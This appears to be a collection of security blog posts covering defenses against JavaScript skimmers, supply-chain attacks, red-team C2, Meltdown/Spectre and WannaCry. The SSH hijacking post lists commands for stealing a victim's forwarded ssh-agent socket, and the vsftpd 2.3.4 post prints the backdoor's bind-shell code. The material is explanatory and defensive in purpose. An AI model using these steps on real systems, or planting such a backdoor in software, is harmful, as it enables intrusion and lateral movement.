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Strategies to protect against JavaScript skimmers

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The Macy’s JavaScript/digital skimmer attack brought some new developments in the web application security threat landscape. Apart from being very targeted, like the majority of those attacks, it was also stealing a very diverse set data. From credit card details, to account credentials, and wallet information. I find it strange that even large corporations fail to protect their assets against the threat of JavaScript skimmers, so here is quick write-up based on my experience. It’s a quick collection of strategies you can follow as a business to thwart this attack vector.

Apparently, not all of them can be applied to all businesses. And not all of them are providing the same level of security. Following the defense in depth principle, the more layers of security you add the higher your chances of thwarting a threat. That being said, I fully understand that some of them might not be feasible for legitimate business reasons. Lastly, this is not a complete list of ALL the potential protections, and none of the below acts as replacement of well-known security controls such as WAF, SDLC, vulnerability scanning, code audits, IPS, etc. So, take this as a list of defense controls recommendations against digital skimmers.

CSP: If your online presence allows it, this is one of the best countermeasures against almost all forms of this type of web based supply-chain attacks. Content Security Policies (CSP) in blocking/enforcing mode can protect you against the most common tactic of JS/digital skimmers delivery which is by modifying a 3rd party script. Basically, using CSP you can block communications to untrusted domains. My recommendation is, if you can implement this, do it. Even if that means doing it only for your payment/account related pages, do it.

Limit 3rd party attack surface: You can easily set up a CI/CD pipeline which fetches the various 3rd party JS that you use, scan them, audit them, ideally have some form of peer review process, and then deploy them in your web hosting platform. Just like any countermeasure, this cannot be applied to everything but the less external 3rd party JS you serve, the less exposure you have to this kind of threat. This is also a detective/early-warning control as it allows you to quickly identify a potentially malicious JS which will allow you to inform that partner and protect even more people. In short, do an assessment to figure out your posture on externally hosted scripts. Then see what percentage of that can work if hosted on your side. Based on that you can make a risk based decision of whether it is worth building and adopting this pipeline and business process or not.

Deep scans: Do frequent deep scans on your web applications and look for new content. In a few cases a simple hash comparison might work, but in today’s dynamic world you probably need something smarter than that. Thankfully, there are so many web analytics and profiling solutions out there that you can easily find something that can identify differences between the old and the new state for specific content. Apparently, in this case what we care about is JS scripts and whether those scripts: a) were recently modified b) have any form of callouts to domains they didn’t had before.

Client side validation: This is more on the grey area and if you decide to do it, I would highly advise you to get approvals from your legal, privacy, ethics, as well as any other regulatory related team or department in your company, and make it crystal clear to your terms & conditions and statements. So, process aside, this is about doing validation of your website’s content on the client side. Some businesses do it, especially on the financial sector, but it’s a grey area as it implies executing non-website related code on the client side. In short, there are many ways to do this independently as well as off-the-shelf options that do it which include hash comparison between the files of the server and client, identification of DOM changes, detection of popular malware families that implement form grabbing or web injections, etc.

3rd party assessments: Simple as it may sound, it is not that common. To summarize, how do you even know that the service/partner you are about to include in your website is not already compromised and serving scripts with digital skimmers? This is not the most common tactic for this specific threat, but it does happen occasionally. On the business side it’s relatively easy to have an extra step in your risk assessment before onboarding a new partner to also have a code audit (ideally both dynamic and static) to look for indicators of digital skimmers. This can also catch other potentially malicious behaviours, or even issues that could have reputational impact such as unsolicited advertisements, unauthorized user tracking, etc.

IOC based scans: Another very useful method is to use your tactical threat intelligence IOCs to look for matches in the JS scripts your website serves. Again, on the practical side this is a relatively trivial task which I suggest you to do from both sides (backend and frontend). Meaning, on the backend side you scan all your web content based on your IOCs and on the frontend you crawl and fetch as much as possible of the files of interest and do a similar scan. Since those attacks are usually very targeted the chances of having IOCs before the attack occurs are low, but it’s so easy to implement that it is usually worth it.

Simulation-based threat detection: This is one of my personally favourite but it is more on the advanced side of the spectrum for most businesses. Basically, you have some sort of continuous simulated visitor activity (yes, bots) on your production/externally facing web applications which profiles the interactions. This could trivially detect any new calls to previously unknown domains, additional JavaScript scripts being invoked or loaded in forms, etc. Apparently, this requires more resources but if you have the capacity is probably something you might want to investigate as an option.

Clean-up your shit: My last one is unfortunately one of the most neglected and it’s not even a security control. Just good software engineering practice. Ensure that you have some sort of profiling/analytics platform that informs the relevant development team(s) when certain scripts have stopped being accessed/used for a specified amount of time. Ideally, after a while you can optimise this further by automatically removing/disabling those scripts from your web platform(s).

One might argue that the Macy’s attack was due to a compromise in their systems or something along these lines. This is apparently a case of industry standard security controls to protect against data breaches/intrusions. I will not spend any time writing about this since it is a relatively trivial challenge for most security people out there. There are decades of work on frameworks, processes, and pretty well defined steps to get to a really mature level without excessive costs. On the other hand, there are not so many things around for digital skimmers. So this post focused explicitly on that. Recommendations for protection against digital skimmers. Those controls provide of course additional capabilities that can be leveraged for other purposes too but the goal behind all the recommendations is this, protections against digital skimmer attacks. Hopefully you’ll find something practical for your business in here.

Written by xorl

December 27, 2019 at 11:19

Posted in security

A short story around WannaCry

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A couple of weeks ago a friend of mine messaged me about the following recently released documentary by Tomorrow Unlocked. The reason was a mention of one of my Tweets (for something that I would least expect, to be honest). Although this has happened many times since I started participating in the security community almost 15 years ago, it was a nice reminder of how small things that you consider silly or unimportant can sometimes make a difference.

Long story short, the documentary implies that Marcus Hutchins, the guy that registered the killswitch domain for WannaCry, realized the impact of him registering that domain from that Tweet. I am not sure if this is really true, but if it is, I’m glad that I helped even a tiny bit in stopping this global threat in this very indirect, kind of silly, way.

This was interesting to me since for a long time I was considering that my greatest contribution to the WannaCry case was just helping with the mutex killswitch (MsWinZoneCacheCounterMutexA) discovery. Nevertheless, that incident passed and a couple of months later, in July 2017, along with a colleague (@IISResetMe) we presented some blue team related learnings regarding WannaCry in an event at Amsterdam. The slides for that are available here.

To summarize, you never know when something that you published or shared is going to help thwart a real threat. So, never stop sharing because if there is one thing that makes the security community great is this. We are all dealing with the same threats. Whether it is a cyber-criminal or a nation-state, even small hints could really help in building the bigger picture and protecting our assets. So, yeah… The security community, crowdsourcing challenges before it was cool. :)

Written by xorl

December 23, 2019 at 15:44

Posted in security

Supply chain attacks, 2018 and the future

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It’s been a while since my last post but I thought that there is some value in this topic… Supply chain attacks are nothing new, they have been around for very long time. What is different though, is the rise of this trend this year outside the common nation-state and cyber-espionage world. Here is a high level overview of what implicit trust connections most organizations have today.

And where it gets even more complicated is that every single instance of the above diagram is also another organization. There are some unforgettable supply-chain attacks such as the RSA SecureID in March 2011 which was later used to comprise many organizations, the MeDoc in June 2017, the NSA hardware backdoors, etc. However, almost all of them were part of cyber-espionage operations, typically from nation-states. Some threat actors are more active than others but overall, it was a nation-state game.

What has changed recently is the rise of the supply-chain attacks outside the cyber-espionage world. We see non-enterprise Linux distributions being targeted such as Gentoo and Arch. Widely used open source projects such as npm modules, Docker images from official public registries, cyber-criminals hacking 3rd parties to eventually attack corporations such as Ticketmaster, backdoored WordPress plugins, browser extensions, and many more examples like these just in 2018.

And the question is, are organizations ready for this type of intrusion? Unfortunately, for the majority of the cases the answer is no. Most organizations implicitly trust what is installed on their devices, what libraries their software utilizes, what browser extensions and tools their employees install and use, etc. How can this be fixed?

The answer is not simple or easy. Everyone likes to say “trust but verify” but to what degree? Some might argue that solutions such as Google’s Titan is the way to go, but most organizations don’t have the resources and capacity to implement this. Should they fall back to the built-in TPM? Identifying all suppliers and doing risk assessments? Detecting anomalies and modifications on 3rd party components? All of them are valid options depending on the organization’s threat model.

But the answer starts with a mindset change. Organizations need to realize and accept that this is a real threat and yes, there are technical and non-technical ways to combat it but it requires conscious effort.

Based on my experience and observations I predict that this will become one of the most popular attack vectors in the near future. The reason is simple. Organizations are focusing more and more improving THEIR security but as we all know for thousands of years, security is as strong as its weakest link. You can have the best security in the world but if you include random JavaScript files without any control from 3rd parties, this is what adversaries will use. Remember this Sun Tzu quote from The Art of War?

In war, the way is to avoid what is strong, and strike at what is weak

So, identify your weak points and don’t limit your view to your organization as a standalone instance. Locate where all the components used are coming from and expand your threat model to cover those as well. As Sun Tzu said, you have to know your enemy, but you also have to know yourself.

If you know the enemy and know yourself,
you need not fear the result of a hundred battles.

If you know yourself but not the enemy,
for every victory gained you will also suffer a defeat.

If you know neither the enemy nor yourself,
you will succumb in every battle.

Written by xorl

July 15, 2018 at 14:20

Posted in security

Multi-stage C&C and Red Teams

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A few days ago I read this excellent analysis by TALOS team and apparently, the most interesting part from a technical perspective is the high-OPSEC multi-stage Command & Control infrastructure which is described by the following diagram from TALOS team’s post.

The idea is that only if the infected system is verified by the first stage C2, it will open a firewall hole on the real/second-stage C&C server to start the communication. On top of that, it using domain fronting to hide behind Cloudflare, a very popular technique.

So, why am I writing this post?
This post is for any red teamers reading this. Most mature red teams are using domain fronting to emulate advanced adversaries, and the notion of multi-stage C&C is not something new. See for example MITRE’s T1104 from the ATT&CK framework that explains a few known APT groups that use this method. However, how many times have you seen a red team actually employing this? I know it is a setup that increases complexity but if you are getting paid to simulate some advanced adversary, do it.

Please read TALOS team’s post and remember, if someone gives you money to simulate what a real APT would do, do it properly. :)

Written by xorl

February 11, 2018 at 17:04

Posted in security

SSH Hijacking for lateral movement

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A few weeks ago I contributed the SSH Hijacking lateral movement technique to MITRE’s ATT&CK framework. In this post I’ll go through the different implementations of this attack that I have come across so far to provide more details around it. Note that by hijacking here we mean that someone abuses the existing sessions without having access to the authentication details. So, without using stolen credentials or private keys.

SSH’s ControlMaster is a feature which allows multiplexed connections. Performance wise this is great since you only have to authenticate to the target system on the first SSH session and then, depending on the SSH daemon configuration you can open multiple new SSH sessions through the already established connection. This can be tuned on the server side with the following two directives.

Specifies the maximum number of open sessions permitted per
network connection. The default is 10.

Specifies the maximum number of concurrent unauthenticated
connections to the SSH daemon. Additional connections will
be dropped until authentication succeeds or the LoginGraceTime
expires for a connection. The default is 10. 

By setting MaxSessions to 1 you can disable ControlMaster/session multiplexing and each new session will require a complete new connection that includes the authentication step. However, if you don’t, then regardless of how strong authentication method you are employing for your users, an attacker only has to get code execution to one of your user’s endpoints and wait for that user to SSH somewhere. The attacker can look for the open connections by inspecting the directory specified by ControlPath directive on the client’s side or just using common tools like netstat. Then, if the attacker attempts to open an SSH session to a host that it is already in the ControlMaster, it will require no authentication or establishing a new connection as it is re-using the existing one. Note that ControlMaster is enabled by default.

Agent Authentication
To reduce friction and make the experience more smooth many organizations employ the use of SSH-agent which is a service that allows authentication via a local socket file. When you connect to a remote system you can choose if you want your ssh-agent to be available there too using the ForwardAgent directive. By forwarding the agent you can move around systems without having to copy keys everywhere or re-authenticating manually. However, this has a downside too. If an attacker has root access on any of the systems from which you have forwarded your agent, he can re-use that socket file to open new SSH sessions with your information. Here is a very brief overview of how this is done.

# Attacker finds the SSHd process of the victim
ps uax|grep sshd

# Attacker looks for the SSH_AUTH_SOCK on victim's environment variables
grep SSH_AUTH_SOCK /proc/<pid>/environ

# Attacker hijack's victim's ssh-agent socket
SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l

# Attacker can login to remote systems as the victim
ssh remote_system -l vicitm

If you are using OpenSSH, you can mitigate this threat by using the AllowAgentForwarding directive to ensure that only the hosts that need it will have it, rather than the entire environment.

In both of those cases, the attacker never had direct access to the authentication details. However, by abusing SSH features an attacker is able to move laterally into the environment without causing a lot of noise. I already gave some native SSH directives that can be used to mitigate this threat but of course, depending on your requirements you might have to come up with something different.

Written by xorl

February 4, 2018 at 18:32

Posted in security

Thoughts on Meltdown & Spectre

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2018 started with some unique low-level exploitation techniques disclosure. People that never cared about processor architecture suddenly explain how speculative execution, advanced side-channel analysis, and cache level works in modern high-performance processors, others confuse the different architecture design flaws, media and software vendors are heavily controlled by big processor manufacturers, Linus accepts patches with up to 30% performance impact without a question, and within that chaos we still miss some crucial details. In this post, I will give my thoughts on the following five domains regarding the Meltdown & Spectre exploitation.

  • Real-world impact
  • The victims/targets
  • Media manipulation
  • Nation-state
  • Mitigations

Real-world impact
For any of the disclosed exploitation methods, there is very limited real-world impact (yes, even for the JavaScript one on browsers with SharedArrayBuffer). The reason for this is that those attacks cannot be easily automated. They are definitely feasible, but they require manual intervention to provide any value to the attacker. Consequently, their use would only be useful on targeted attacks. But even in this case, why would an attacker prefer to read arbitrary memory using this extremely slow technique instead of exploitation a privilege escalation vulnerability and get much faster access to all system resources? One could argue because it is more covert. Well, there are some actual attack use cases and this is my next domain.

The victims/targets
The only real victim that this attack is more valuable than privilege escalation attacks is shared hosting providers. Whether that is virtual machines, containers, or anything similar. Those exploitation techniques break the sole business model of those companies. Huge players like Amazon, Google, Microsoft, etc. are selling exactly what Meltdown & Spectre proved that it doesn’t exist, high quality isolation between shared resources. And that brings us to the next domain.

Media manipulation
All of those big players, including manufacturers such as Intel, AMD, and the rest of the affected vendors, did a first-class crisis management when it comes to managing the reputation impact and press statements. They should probably be giving trainings on how to do this. You would expect that an attack that obliterates your core business selling point would result in massive stock price drops, media chasing the board all over the world, people moving away from those vendors, executives getting fired… Yet, nothing happened. From the business perspective this is a remarkable work of crisis management, but from the consumer perspective this is an alarming level of media manipulation power.

Talking about power, let’s talk about nation-states. Those attacks were not really new. Dave Aitel released this Immunity paper from 2014 that pretty much implements a variant of those exploitation techniques. If we move even further back, we have this paper from 1995 which goes through multiple security flaws of the x86 architecture, including the pre-fetching one. The latter document also contains an interesting sentence in its introduction.

This analysis is being performed under the auspices of the National Security Agency’s Trusted Product Evaluation Program (TPEP).

So, we know that NSA knew about those design flaws for at least 23 years. Realistically speaking, it is safe to assume that they would have tried to exploit them. Recently after the public disclosure of the attack the ShadowBrokers started offering some (allegedly) 0day exploits for those flaws claiming to be part of NSA’s toolkit.

Just to be clear, I totally endorse NSA, or any other nation-state for that matter, not disclosing them. They had already disclosed the research paper so the entire world knew about them (including Intel, AMD, and the rest). A tool that allows you to bypass the false sense of memory isolation a cloud provider offers would be extremely valuable for any offensive security team. It is the companies’ fault that they did not fix it. Nevertheless, it was worth mentioning. And talking about fixing…

There are a few different mitigations being proposed or already implemented. Let’s briefly go through them…

  • On the OS side we have we the KAISER/KPTI implementation which basically separates the kernel and user-space pages requiring TLB flushes (reloading of CR3 register or the use of Process Context Identifier (PCID) where available). Depending on the application, this can have major performance impact but, on the other hand, it also prevents a large number of exploitation techniques that were already used in the wild. So, security wise it is great, but business wise it will require extra funding for scaling for most companies. And guess what? The manufacturers of those processors are not held accountable for this (they should in my opinion as it was a known issue for decades).
  • The other proposed mitigation was the use of LFENCE instruction to literally stop speculative execution on specific code paths. A clever approach which however is hard to implement and deploy in the real world if you don’t want to have massive performance impact.
  • Intel issued a microcode update that also adds some new capabilities. Those are the IBRS (Indirect Branch Restricted Speculation), STITBP (Single Thread Indirect Branch Prediction), and IBPB (Indirect Branch Predictor Barrier). All can be used to control when branch prediction and indirect jumps are allowed. However, it brings another interesting attack vector… If Intel can dynamically reprogram their processors via a UEFI channel, maybe attackers can too. Sounds like an interesting research area now that the updates are out.
  • The last one is to recompile the code with a compiler that adds the concept of “return trampolines” (retpoline) which ensures that indirect near jumps and call instructions are bundled with some details about the target of the branch to avoid the cases of branch target injection attacks of Spectre. Again, good idea but expecting to recompile all binaries using this is not a trivial operation.

As a conclusion, the Meltdown & Spectre exploitation techniques sound like one of the biggest cover-up stories of the infosec community. Known for 20+ years, breaking core business models, nation-states researching them for decades… And yet… No repercussions or even media pressure to any of the involved parties behind them.

Written by xorl

January 10, 2018 at 10:40

Posted in security

vsftpd 2.3.4 Backdoor

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This was a recent discovery by Chris Evans and you can read more details in his blog post available here. Furthermore, you can find information about this incident at The H Open as well as LWN.net websites.

So, the backdoor affects specifically 2.3.4 version of the popular FTP daemon and can be found in str.c file which contains code for handling the string manipulation routines.

str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
  static struct mystr s_curr_line_str;
  unsigned int pos = 0;
  while (str_getline(p_str, &s_curr_line_str, &pos))
    if (str_equal(&s_curr_line_str, p_line_str))
      return 1;
    else if((p_str->p_buf[i]==0x3a)
    && (p_str->p_buf[i+1]==0x29))
  return 0;

Quite obvious. While parsing the received string values, if the string begins with “\x3A\x29” which in ASCII translates to ‘:)’ (a smiley face), it will invoke vsf_sysutil_extra().

This backdoor function was placed in sysdeputil.c file and looks like this:

  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0); 

It simply opens a new TCP socket listening on port 6200 that will spawn a shell when connected to this port.

So, by using the ‘:)’ as username the attackers were able to trigger this backdoor in vsftpd 2.3.4.

Written by xorl

July 5, 2011 at 03:54

Posted in hax, security